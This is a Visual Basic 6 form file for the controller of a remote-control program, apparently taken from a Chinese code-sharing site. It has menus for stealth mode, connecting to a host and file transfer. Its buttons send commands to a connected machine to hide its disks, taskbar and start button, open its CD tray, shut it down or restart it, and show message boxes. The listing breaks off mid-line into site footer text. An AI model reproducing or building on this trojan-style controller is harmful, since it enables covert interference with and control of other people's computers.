📄 form1.frm
字号:
EndProperty
End
Begin VB.Label Scmlb1
Caption = "0"
Height = 255
Left = 120
TabIndex = 0
Top = 6000
Width = 255
End
Begin VB.Menu file
Caption = "文件(&F)"
Begin VB.Menu open
Caption = "打开(&O)"
Shortcut = ^O
End
Begin VB.Menu Htgl
Caption = "隐身(&Y)"
Shortcut = ^A
End
Begin VB.Menu h4
Caption = "-"
End
Begin VB.Menu Renetser
Caption = "重启服务(&R)"
End
Begin VB.Menu h1
Caption = "-"
End
Begin VB.Menu Exit1
Caption = "退出(&X)"
Shortcut = ^Q
End
End
Begin VB.Menu Gl1
Caption = "管理(&G)"
Begin VB.Menu Link1
Caption = "连接主机(&L)"
Shortcut = ^L
End
Begin VB.Menu Recoms
Caption = "重新获取主机"
End
Begin VB.Menu Requt
Caption = "重启主机端(&R)"
End
Begin VB.Menu h2
Caption = "-"
End
Begin VB.Menu Sendfile1
Caption = "文件传送(&S)"
End
Begin VB.Menu h3
Caption = "-"
End
Begin VB.Menu einew1
Caption = "刷新(&E)"
End
Begin VB.Menu del
Caption = "删除(&D)"
End
Begin VB.Menu Rdfile1
Caption = "属性(&R)"
End
End
Begin VB.Menu Fastkey1
Caption = "快捷键(&Q)"
Begin VB.Menu Sendkeys1
Caption = "发送快捷键""Enter""(&S)"
End
Begin VB.Menu Cuto1
Caption = "取消快捷键""Enter""(&C)"
End
End
Begin VB.Menu Help1
Caption = "帮助(&H)"
Begin VB.Menu Auup
Caption = "自动更新(&U)"
End
Begin VB.Menu h5
Caption = "-"
End
Begin VB.Menu Somi1
Caption = "说明"
End
Begin VB.Menu about1
Caption = "关于(&A)"
End
End
End
Attribute VB_Name = "main1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uId As Long
uFlags As Long
ucallbackMessage As Long
hIcon As Long
szTip As String * 64 '指向后显示文本长度
End Type
Private Const NIM_ADD = &H0
Private Const NIM_MODIFY = &H1
Private Const NIM_DELETE = &H2
Private Const WM_MOUSEMOVE = &H200
Private Const NIF_MESSAGE = &H1
Private Const NIF_ICON = &H2
Private Const NIF_TIP = &H4
Private Const WM_LBUTTONDBLCLK = &H203
Private Const WM_LBUTTONDOWN = &H201
Private Const wm_lbuttonup = &H202
Private Const WM_RBUTTONDBLCLK = &H206
Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP = &H205
Private Declare Function APIBeep Lib "kernel32" Alias "Beep" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long '主机锋呜
Private Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean
Dim T As NOTIFYICONDATA
'Public port1 As String
'Public port2 As String
'Public port3 As String
Public Strtimer As String
Private Buto As String
Private Buuse As Boolean
Private Sac() As Boolean
Dim I As Integer
Dim Scmnumber As Integer
Private Sub about1_Click()
Frmabout.Show
End Sub
Private Sub Auup_Click()
On Error GoTo Errupd
Shell App.path & "\Update.exe"
End
Exit Sub
Errupd:
MsgBox "由于更新程序丢失或损坏,造成更新失败！", 16, "错误"
End Sub
Private Sub Box1_Change()
With Box1
'.SetFocus '选
.SelStart = 0
.SelLength = Len(.Text)
End With
End Sub
Private Sub Box5_Change()
With Box5
'.SetFocus '选
.SelStart = 0
.SelLength = Len(.Text)
End With
End Sub
Private Sub Check1_Click()
If Check1.Value = 1 Then
Check2.Value = 0
Check3.Value = 0
Else
End If
End Sub
Private Sub Check2_Click()
If Check2.Value = 1 Then
Check1.Value = 0
Check3.Value = 0
Else
End If
End Sub
Private Sub Check3_Click()
If Check3.Value = 1 Then
Check1.Value = 0
Check2.Value = 0
Else
End If
End Sub
Private Sub Combo2_Click()
Dos1.Text = Combo2.Text
End Sub
Private Sub Combo3_Click()
If Option7.Value = False And Option8.Value = False Then
Option7.Value = True
Else
End If
End Sub
Private Sub Command1_Click()
On Error GoTo sc
If Box2.Text = "" Then
MsgBox "发送内容不能空！", 64, "提示"
Else
Scmnet3.SendData "Msgwins" & "(" + Time$ + ")" + Scmnet3.LocalHostName + ":" + vbCrLf + Box2.Text + vbCrLf + vbCrLf
Box1.Text = Box1.Text + "(" + Time$ + ")" + Scmnet3.LocalHostName + ":" + vbCrLf + Box2.Text + vbCrLf + vbCrLf
Box2.Text = ""
Scmtxt2.Text = Scmtxt2.Text + vbCrLf + "信息发送成功！" + "(" + Time$ + ")" + vbCrLf
End If
a1 = 2
If a1 = 2 Then
Else
sc: MsgBox "(" + Scmnet3.RemoteHostIP + ")" + "该用户可能已经下了线！", 64, "提示"
Command1.Enabled = False
End If
End Sub
Private Sub Command10_Click()
If Scmnet3.State = 7 Then
Scmnet3.SendData "HIDDISK"
Else
MsgBox "还没连接主机！", 64, "提示"
End If
End Sub
Private Sub Command11_Click()
If Scmnet3.State = 7 Then
Scmnet3.SendData "HIDTASK"
Else
MsgBox "还没连接主机！", 64, "提示"
End If
End Sub
Private Sub Command12_Click()
If Scmnet3.State = 7 Then
Scmnet3.SendData "GAIBQIA"
Else
MsgBox "还没连接主机！", 64, "提示"
End If
End Sub
Private Sub Command13_Click()
If Scmnet3.State = 7 Then
Scmnet3.SendData "NOTHIDT"
Else
MsgBox "还没连接主机！", 64, "提示"
End If
End Sub
Private Sub Command14_Click()
If Scmnet3.State = 7 Then
Scmnet3.SendData "NOHIDDI"
Else
MsgBox "还没连接主机！", 64, "提示"
End If
End Sub
Private Sub Command15_Click()
If Scmnet3.State = 7 Then
Scmnet3.SendData "HIDSTAR"
Else
MsgBox "还没连接主机！", 64, "提示"
End If
End Sub
Private Sub Command16_Click()
If Scmnet3.State = 7 Then
Scmnet3.SendData "APPSTAR"
Else
MsgBox "还没连接主机！", 64, "提示"
End If
End Sub
Private Sub Command17_Click()
If Scmnet3.State = 7 Then
Scmnet3.SendData "QINGCQZ"
Else
MsgBox "还没连接主机！", 64, "提示"
End If
End Sub
Private Sub Command18_Click()
On Error GoTo sc
Dim a1 As String
a1 = 2
If Option1.Value = True Then
Scmnet3.SendData "CLOSECU"
ElseIf Option2.Value = True Then
Scmnet3.SendData "RESETLO"
ElseIf Option3.Value = True Then
Scmnet3.SendData "RESETCU"
Else
End If
If a1 = 2 Then
Else
sc: MsgBox "(" + Scmnet3.RemoteHostIP + ")" + "该用户可能已经下了线！", 64, "提示"
End If
End Sub
Private Sub Command19_Click()
If Scmnet3.State = 7 Then
Scmnet3.SendData "OPENCDR"
Else
MsgBox "还没连接主机！", 64, "提示"
End If
End Sub
Private Sub Command2_Click()
If Scmnet3.State = 7 Then
Scmnet3.SendData "Msgbox1" & Text1.Text 'Commsgs
Scmtxt2.Text = Scmtxt2.Text + vbCrLf + "对话框已发送成功！" + "(" + Time$ + ")" + vbCrLf
'Command2.Enabled = False
'Sleep (200)
'Scmnet3.SendData "Msgbox2" & Text1.Text
'Sleep (200)
'Scmnet3.Send⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -